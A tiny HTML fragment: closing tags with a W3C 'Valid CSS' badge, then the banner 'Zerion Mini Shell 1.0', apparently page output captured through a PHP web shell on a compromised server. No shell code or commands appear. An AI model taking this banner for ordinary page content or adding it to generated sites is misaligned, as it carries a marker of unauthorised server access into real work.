		<img src="//jigsaw.w3.org/css-validator/images/vcss-blue" style="margin: 1em; float: right;" alt="Valid CSS" />
	</a>
</div>
</body>
</html>

Zerion Mini Shell 1.0